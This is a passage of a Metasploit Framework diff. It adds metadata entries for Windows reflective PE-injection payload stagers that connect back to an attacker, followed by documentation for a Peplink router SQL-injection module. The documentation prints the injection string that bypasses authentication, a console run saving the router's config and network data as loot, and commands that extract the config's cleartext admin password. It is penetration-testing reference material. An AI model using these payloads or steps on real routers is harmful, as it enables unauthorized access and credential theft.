"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"path": "/modules/payloads/stagers/windows/reverse_tcp_allports.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/peinject/reverse_tcp_allports",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_windows/peinject/reverse_tcp_dns": {
|
||||
"name": "Windows Inject PE Files, Reverse TCP Stager (DNS)",
|
||||
"fullname": "payload/windows/peinject/reverse_tcp_dns",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"ege <egebalci@pm.me>",
|
||||
"hdm <x@hdm.io>",
|
||||
"skape <mmiller@hick.org>",
|
||||
"sf <stephen_fewer@harmonysecurity.com>",
|
||||
"RageLtMan"
|
||||
],
|
||||
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Connect back to the attacker",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x86",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-07-08 15:33:39 +0000",
|
||||
"path": "/modules/payloads/stagers/windows/reverse_tcp_dns.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/peinject/reverse_tcp_dns",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_windows/peinject/reverse_tcp_rc4": {
|
||||
"name": "Windows Inject PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)",
|
||||
"fullname": "payload/windows/peinject/reverse_tcp_rc4",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"ege <egebalci@pm.me>",
|
||||
"hdm <x@hdm.io>",
|
||||
"skape <mmiller@hick.org>",
|
||||
"sf <stephen_fewer@harmonysecurity.com>",
|
||||
"mihi",
|
||||
"RageLtMan"
|
||||
],
|
||||
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Connect back to the attacker",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x86",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-07-08 15:33:39 +0000",
|
||||
"path": "/modules/payloads/stagers/windows/reverse_tcp_rc4.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/peinject/reverse_tcp_rc4",
|
||||
"check": false,
|
||||
"post_auth": true,
|
||||
"default_credential": true,
|
||||
"notes": {
|
||||
},
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_windows/peinject/reverse_tcp_rc4_dns": {
|
||||
"name": "Windows Inject PE Files, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)",
|
||||
"fullname": "payload/windows/peinject/reverse_tcp_rc4_dns",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"ege <egebalci@pm.me>",
|
||||
"hdm <x@hdm.io>",
|
||||
"skape <mmiller@hick.org>",
|
||||
"sf <stephen_fewer@harmonysecurity.com>",
|
||||
"mihi",
|
||||
"RageLtMan"
|
||||
],
|
||||
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Connect back to the attacker",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x86",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-07-08 15:33:39 +0000",
|
||||
"path": "/modules/payloads/stagers/windows/reverse_tcp_rc4_dns.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/peinject/reverse_tcp_rc4_dns",
|
||||
"check": false,
|
||||
"post_auth": true,
|
||||
"default_credential": true,
|
||||
"notes": {
|
||||
},
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_windows/peinject/reverse_tcp_uuid": {
|
||||
"name": "Windows Inject PE Files, Reverse TCP Stager with UUID Support",
|
||||
"fullname": "payload/windows/peinject/reverse_tcp_uuid",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"ege <egebalci@pm.me>",
|
||||
"hdm <x@hdm.io>",
|
||||
"OJ Reeves"
|
||||
],
|
||||
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Connect back to the attacker with UUID Support",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x86",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-07-08 15:33:39 +0000",
|
||||
"path": "/modules/payloads/stagers/windows/reverse_tcp_uuid.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/peinject/reverse_tcp_uuid",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_windows/pingback_bind_tcp": {
|
||||
"name": "Windows x86 Pingback, Bind TCP Inline",
|
||||
"fullname": "payload/windows/pingback_bind_tcp",
|
||||
@@ -166911,6 +167814,359 @@
|
||||
},
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_windows/x64/peinject/bind_ipv6_tcp": {
|
||||
"name": "Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager",
|
||||
"fullname": "payload/windows/x64/peinject/bind_ipv6_tcp",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"ege <egebalci@pm.me>",
|
||||
"sf <stephen_fewer@harmonysecurity.com>"
|
||||
],
|
||||
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Listen for an IPv6 connection (Windows x64)",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x64",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"path": "/modules/payloads/stagers/windows/x64/bind_ipv6_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/x64/peinject/bind_ipv6_tcp",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_windows/x64/peinject/bind_ipv6_tcp_uuid": {
|
||||
"name": "Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager with UUID Support",
|
||||
"fullname": "payload/windows/x64/peinject/bind_ipv6_tcp_uuid",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"ege <egebalci@pm.me>",
|
||||
"sf <stephen_fewer@harmonysecurity.com>",
|
||||
"OJ Reeves"
|
||||
],
|
||||
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Listen for an IPv6 connection with UUID Support (Windows x64)",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x64",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"path": "/modules/payloads/stagers/windows/x64/bind_ipv6_tcp_uuid.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/x64/peinject/bind_ipv6_tcp_uuid",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_windows/x64/peinject/bind_named_pipe": {
|
||||
"name": "Windows Inject Reflective PE Files, Windows x64 Bind Named Pipe Stager",
|
||||
"fullname": "payload/windows/x64/peinject/bind_named_pipe",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"ege <egebalci@pm.me>",
|
||||
"UserExistsError"
|
||||
],
|
||||
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Listen for a pipe connection (Windows x64)",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x64",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2018-02-15 17:37:33 +0000",
|
||||
"path": "/modules/payloads/stagers/windows/x64/bind_named_pipe.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/x64/peinject/bind_named_pipe",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_windows/x64/peinject/bind_tcp": {
|
||||
"name": "Windows Inject Reflective PE Files, Windows x64 Bind TCP Stager",
|
||||
"fullname": "payload/windows/x64/peinject/bind_tcp",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"ege <egebalci@pm.me>",
|
||||
"sf <stephen_fewer@harmonysecurity.com>"
|
||||
],
|
||||
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Listen for a connection (Windows x64)",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x64",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"path": "/modules/payloads/stagers/windows/x64/bind_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/x64/peinject/bind_tcp",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_windows/x64/peinject/bind_tcp_rc4": {
|
||||
"name": "Windows Inject Reflective PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)",
|
||||
"fullname": "payload/windows/x64/peinject/bind_tcp_rc4",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"ege <egebalci@pm.me>",
|
||||
"hdm <x@hdm.io>",
|
||||
"skape <mmiller@hick.org>",
|
||||
"sf <stephen_fewer@harmonysecurity.com>",
|
||||
"mihi",
|
||||
"max3raza",
|
||||
"RageLtMan"
|
||||
],
|
||||
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Connect back to the attacker",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x64",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-06-04 07:13:34 +0000",
|
||||
"path": "/modules/payloads/stagers/windows/x64/bind_tcp_rc4.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/x64/peinject/bind_tcp_rc4",
|
||||
"check": false,
|
||||
"post_auth": true,
|
||||
"default_credential": true,
|
||||
"notes": {
|
||||
},
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_windows/x64/peinject/bind_tcp_uuid": {
|
||||
"name": "Windows Inject Reflective PE Files, Bind TCP Stager with UUID Support (Windows x64)",
|
||||
"fullname": "payload/windows/x64/peinject/bind_tcp_uuid",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"ege <egebalci@pm.me>",
|
||||
"sf <stephen_fewer@harmonysecurity.com>",
|
||||
"OJ Reeves"
|
||||
],
|
||||
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Listen for a connection with UUID Support (Windows x64)",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x64",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"path": "/modules/payloads/stagers/windows/x64/bind_tcp_uuid.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/x64/peinject/bind_tcp_uuid",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_windows/x64/peinject/reverse_named_pipe": {
|
||||
"name": "Windows Inject Reflective PE Files, Windows x64 Reverse Named Pipe (SMB) Stager",
|
||||
"fullname": "payload/windows/x64/peinject/reverse_named_pipe",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"ege <egebalci@pm.me>",
|
||||
"OJ Reeves"
|
||||
],
|
||||
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Connect back to the attacker via a named pipe pivot",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x64",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-08-15 18:10:44 +0000",
|
||||
"path": "/modules/payloads/stagers/windows/x64/reverse_named_pipe.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/x64/peinject/reverse_named_pipe",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_windows/x64/peinject/reverse_tcp": {
|
||||
"name": "Windows Inject Reflective PE Files, Windows x64 Reverse TCP Stager",
|
||||
"fullname": "payload/windows/x64/peinject/reverse_tcp",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"ege <egebalci@pm.me>",
|
||||
"sf <stephen_fewer@harmonysecurity.com>"
|
||||
],
|
||||
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Connect back to the attacker (Windows x64)",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x64",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"path": "/modules/payloads/stagers/windows/x64/reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/x64/peinject/reverse_tcp",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_windows/x64/peinject/reverse_tcp_rc4": {
|
||||
"name": "Windows Inject Reflective PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)",
|
||||
"fullname": "payload/windows/x64/peinject/reverse_tcp_rc4",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"ege <egebalci@pm.me>",
|
||||
"hdm <x@hdm.io>",
|
||||
"skape <mmiller@hick.org>",
|
||||
"sf <stephen_fewer@harmonysecurity.com>",
|
||||
"mihi",
|
||||
"max3raza",
|
||||
"RageLtMan"
|
||||
],
|
||||
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Connect back to the attacker",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x64",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2018-03-04 17:43:15 +0000",
|
||||
"path": "/modules/payloads/stagers/windows/x64/reverse_tcp_rc4.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/x64/peinject/reverse_tcp_rc4",
|
||||
"check": false,
|
||||
"post_auth": true,
|
||||
"default_credential": true,
|
||||
"notes": {
|
||||
},
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_windows/x64/peinject/reverse_tcp_uuid": {
|
||||
"name": "Windows Inject Reflective PE Files, Reverse TCP Stager with UUID Support (Windows x64)",
|
||||
"fullname": "payload/windows/x64/peinject/reverse_tcp_uuid",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"ege <egebalci@pm.me>",
|
||||
"sf <stephen_fewer@harmonysecurity.com>",
|
||||
"OJ Reeves"
|
||||
],
|
||||
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Connect back to the attacker with UUID Support (Windows x64)",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x64",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"path": "/modules/payloads/stagers/windows/x64/reverse_tcp_uuid.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/x64/peinject/reverse_tcp_uuid",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_windows/x64/pingback_reverse_tcp": {
|
||||
"name": "Windows x64 Pingback, Reverse TCP Inline",
|
||||
"fullname": "payload/windows/x64/pingback_reverse_tcp",
|
||||
@@ -176133,7 +177389,7 @@
|
||||
"zeroSteiner <zeroSteiner@gmail.com>",
|
||||
"mubix <mubix@hak5.org>"
|
||||
],
|
||||
"description": "This module will attempt to enumerate which patches are applied to a windows system\n based on the result of the WMI query: SELECT HotFixID FROM Win32_QuickFixEngineering.",
|
||||
"description": "This module will attempt to enumerate which patches are applied to a windows system\n based on the result of the WMI query: SELECT HotFixID, InstalledOn FROM Win32_QuickFixEngineering.",
|
||||
"references": [
|
||||
"URL-http://msdn.microsoft.com/en-us/library/aa394391(v=vs.85).aspx"
|
||||
],
|
||||
@@ -176143,7 +177399,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-01-14 20:49:39 +0000",
|
||||
"mod_time": "2020-09-02 11:33:50 +0000",
|
||||
"path": "/modules/post/windows/gather/enum_patches.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/gather/enum_patches",
|
||||
@@ -176176,7 +177432,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2020-09-05 10:43:41 +0000",
|
||||
"path": "/modules/post/windows/gather/enum_powershell_env.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/gather/enum_powershell_env",
|
||||
|
||||
@@ -0,0 +1,430 @@
|
||||
## Vulnerable Application
|
||||
|
||||
### Introduction
|
||||
|
||||
This module exploits an SQLi vulnerability in the web interface of Peplink
|
||||
routers running outdated firmware (confirmed on version 7.0.0-build1904 and below).
|
||||
|
||||
The vulnerability is due to the lack of sanitization applied to the bauth cookie,
|
||||
Successful exploitation of the vulnerability allows unauthenticated attackers to get
|
||||
into sessions of legitimate users (bypassing authentication).
|
||||
|
||||
Exploitation of this vulnerability requires that there is at least one active user session
|
||||
created in the last 4 hours (or session lifetime if it was modified).
|
||||
|
||||
## Verification Steps
|
||||
|
||||
|
||||
## Options
|
||||
|
||||
### BypassLogin
|
||||
|
||||
If true, don't retrieve cookies, just use the SQL injection vulnerability to bypass the login
|
||||
In the case where expired and non-expired admin sessions exist, might select the expired session if enabled.
|
||||
|
||||
### AdminOnly
|
||||
|
||||
Only attempt to retrieve cookies of privilegied users (admins)
|
||||
|
||||
### EnumPrivs
|
||||
|
||||
Retrieve the privilege associated with each session
|
||||
|
||||
### EnumUsernames
|
||||
|
||||
Retrieve the username associated with each session
|
||||
|
||||
### LimitTries
|
||||
|
||||
The max number of sessions to try (from most recent), set to avoid checking expired ones needlessly
|
||||
|
||||
## Scenarios
|
||||
|
||||
Vulnerable firmware downloadable from [here](https://www.peplink.com/support/downloads/archive/).
|
||||
It's possible to reproduce the vulnerability without owning a peplink router, using
|
||||
[FusionHub](https://www.peplink.com/products/fusionhub/).
|
||||
Refer to its installation guide, use a free Solo license.
|
||||
|
||||
### Firmware version 6.3.2
|
||||
|
||||
BypassLogin:
|
||||
|
||||
```
|
||||
msf5 auxiliary(gather/peplink_bauth_sqli) > set BypassLogin true
|
||||
msf5 auxiliary(gather/peplink_bauth_sqli) > run
|
||||
[*] Running module against 192.168.1.254
|
||||
|
||||
[+] Target seems to be vulnerable
|
||||
[*] Checking for admin cookie : ' or id IN (select s.id from sessions as s left join sessionsvariables as v on v.id=s.id where v.name='rwa' and v.value='1')--
|
||||
[+] Retrieved config, saved at /home/redouane/.msf4/loot/20200802152344_default_192.168.1.254_peplinkconfigur_203870.bin
|
||||
[*] Retrieving fhlicense_info
|
||||
[+] Saved at /home/redouane/.msf4/loot/20200802152344_default_192.168.1.254_peplinkfhlicens_829403.txt
|
||||
[*] Retrieving sysinfo
|
||||
[+] Saved at /home/redouane/.msf4/loot/20200802152344_default_192.168.1.254_peplinksysinfo_824042.txt
|
||||
[*] Retrieving macinfo
|
||||
[+] Saved at /home/redouane/.msf4/loot/20200802152344_default_192.168.1.254_peplinkmacinfo_992224.txt
|
||||
[*] Retrieving hostnameinfo
|
||||
[+] Saved at /home/redouane/.msf4/loot/20200802152344_default_192.168.1.254_peplinkhostname_183370.txt
|
||||
[*] Retrieving uptime
|
||||
[+] Saved at /home/redouane/.msf4/loot/20200802152344_default_192.168.1.254_peplinkuptime_523334.txt
|
||||
[*] Retrieving client_info
|
||||
[+] Saved at /home/redouane/.msf4/loot/20200802152344_default_192.168.1.254_peplinkclient_i_704361.txt
|
||||
[*] Retrieving hubport
|
||||
[+] Saved at /home/redouane/.msf4/loot/20200802152344_default_192.168.1.254_peplinkhubport_264378.txt
|
||||
[*] Retrieving fhstroute
|
||||
[+] Saved at /home/redouane/.msf4/loot/20200802152344_default_192.168.1.254_peplinkfhstrout_701714.txt
|
||||
[*] Retrieving ipsec
|
||||
[+] Saved at /home/redouane/.msf4/loot/20200802152344_default_192.168.1.254_peplinkipsec_664157.txt
|
||||
[*] Retrieving wan_summary
|
||||
[+] Saved at /home/redouane/.msf4/loot/20200802152344_default_192.168.1.254_peplinkwan_summ_936160.txt
|
||||
[*] Retrieving firewall
|
||||
[+] Saved at /home/redouane/.msf4/loot/20200802152344_default_192.168.1.254_peplinkfirewall_270172.txt
|
||||
[*] Retrieving cert_info
|
||||
[+] Saved at /home/redouane/.msf4/loot/20200802152344_default_192.168.1.254_peplinkcert_inf_201536.txt
|
||||
[*] Retrieving mvpn_summary
|
||||
[+] Saved at /home/redouane/.msf4/loot/20200802152344_default_192.168.1.254_peplinkmvpn_sum_261747.txt
|
||||
[*] Auxiliary module execution completed
|
||||
msf5 auxiliary(gather/peplink_bauth_sqli) >
|
||||
```
|
||||
|
||||
The config is a .tar.gz archive with an added 36-byte header, you can extract the plaintext config:
|
||||
```
|
||||
$ dd if=20200802_fshhw1_1135E8A0DD29.conf of=config.tar.gz skip=36 bs=1
|
||||
$ tar vxf config.tar.gz
|
||||
```
|
||||
The config usually includes the admin password in cleartext.
|
||||
Note: it's also possible to upload a modified config.
|
||||
```
|
||||
$ cat config
|
||||
ADMIN_HTTPS_ENABLE="yes"
|
||||
ADMIN_HTTPS_LANONLY="no"
|
||||
ADMIN_HTTPS_PORT="443"
|
||||
ADMIN_HTTP_ENABLE="yes"
|
||||
ADMIN_HTTP_TO_HTTPS="yes"
|
||||
ADMIN_LANONLY="no"
|
||||
ADMIN_NAME="admin"
|
||||
ADMIN_PASSWORD="mySECUREpassword1"
|
||||
ADMIN_PORT="80"
|
||||
ADMIN_ROA_PASSWORD="user"
|
||||
ADMIN_SESSION_TIMEOUT="14400"
|
||||
CONFIG_VERSION="6.0"
|
||||
DHCP_SERVER="enable"
|
||||
FIREWALL_IDS="yes"
|
||||
HOSTNAME="peplink"
|
||||
IPSEC_NAT="yes"
|
||||
LAN_CONN_METHOD="static"
|
||||
LAN_IPADDR="192.168.1.254"
|
||||
LAN_NETMASK="255.255.255.0"
|
||||
LEFTTIME_USAGE="yes"
|
||||
...
|
||||
```
|
||||
|
||||
EnumPrivs and EnumUsernames:
|
||||
|
||||
```
|
||||
msf5 auxiliary(sqli/peplink_bauth_sqli) > set EnumPrivs true
|
||||
EnumPrivs => true
|
||||
msf5 auxiliary(sqli/peplink_bauth_sqli) > set EnumUsernames true
|
||||
EnumUsernames => true
|
||||
msf5 auxiliary(sqli/peplink_bauth_sqli) > run
|
||||
[*] Running module against 192.168.1.254
|
||||
|
||||
